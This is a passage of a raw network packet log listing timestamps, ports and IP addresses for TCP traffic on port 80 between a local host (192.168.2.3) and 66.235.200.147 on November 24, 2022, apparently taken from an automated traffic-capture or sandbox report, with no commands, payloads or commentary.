Nov 24, 2022 16:57:36.809819937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809838057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809839964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809856892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809859037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809878111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809895992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809896946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809896946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809915066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809921026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809931993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809947014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809952021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.809968948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809968948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.809969902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810003042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810019970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810029984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810049057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810066938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810085058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810091019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810102940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810120106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810127020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810127020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810137987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810153961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810153961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810157061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810177088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810194016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810199022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810211897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810235023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810235023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810235023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810257912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810257912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810275078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810285091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810300112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810308933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810318947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810333014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810353041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810357094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810369968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810380936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810393095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810401917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810419083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810420036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810439110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810446978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810456991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810476065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810480118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810480118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810493946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810508013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810508013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810513020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810532093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810549974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810565948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810566902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810566902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810566902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810585022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810597897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810597897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810605049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810616970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810626984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810638905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810640097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810647011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810662985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810664892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810683966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810686111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810702085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810703993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810719967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810725927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810745001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810745001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810765028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810781956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810795069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810800076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810812950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810817957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810836077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810836077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810854912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810866117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810883999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810903072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810920000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810925961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810925961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810925961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810940027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810956955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810961962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810961962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.810976028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.810993910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811006069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811012030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811026096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811029911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811048985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811049938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811065912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811069012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811084032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811093092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811093092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811101913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811113119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811120033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811132908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811140060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811152935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811158895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811176062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811176062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811192989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811197996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811212063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811228991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811244965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811258078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811258078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811260939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811280966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811280966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811297894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811316013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811315060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811332941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811333895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811351061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811356068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811368942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811384916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811386108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811403990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811403990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811423063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811430931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811439991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811450005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811456919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.811465025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811492920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.811511040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.816874981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.816907883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.816935062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.816965103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.817002058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.817080975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.817125082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.817219973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.817250013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.817291975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.817436934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.817466974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.817511082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.817984104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818025112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818042040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818042040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818058968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818063974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818077087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818084002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818097115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818101883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818115950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818130016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818133116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818130970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818150997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818170071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818176031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818176031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818201065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818238974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.818928957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818974972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.818979025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819016933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819066048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819077969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819082975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819102049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819118023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819130898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819134951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819152117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819179058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819200039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819758892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819777966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.819817066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.819844961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.820152044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.820195913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.820210934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.820235968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.820245981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.820277929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.820287943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.820324898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828320026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828367949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828406096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828442097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828444004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828479052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828501940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828633070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828672886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828694105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828707933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828718901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828752041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.828754902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.828803062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.829194069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829235077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829271078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829298019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.829312086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829320908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.829600096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829641104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829659939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.829688072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.829742908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829773903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829802036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829822063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.829830885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.829839945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830213070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830236912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830260038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830274105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830282927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830300093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830307007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830324888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830332041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830343962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830357075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830379963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.830384970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830409050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.830426931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831199884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831245899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831285954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831285954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831319094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831329107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831337929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831372023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831376076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831413031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831415892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831455946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831468105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831497908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.831502914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.831543922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.832159042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832228899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.832271099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832336903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.832439899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832483053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832490921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.832672119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832714081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832756042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832796097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832839012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832879066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832920074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.832961082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833343983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.833344936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.833452940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833494902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833535910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833575964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833599091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.833617926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833657980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833671093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.833700895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833703041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.833745003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.833796024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834393978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834439039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834480047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834497929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834522963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834563971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834572077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834604979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834608078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834647894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834688902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834697008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834732056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834773064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834781885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834815025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834840059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834857941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834862947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834902048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.834950924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.834992886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835005999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835035086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835077047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835127115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835140944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835149050 CET	80	49713	66.235.200.147	192.168.2.3
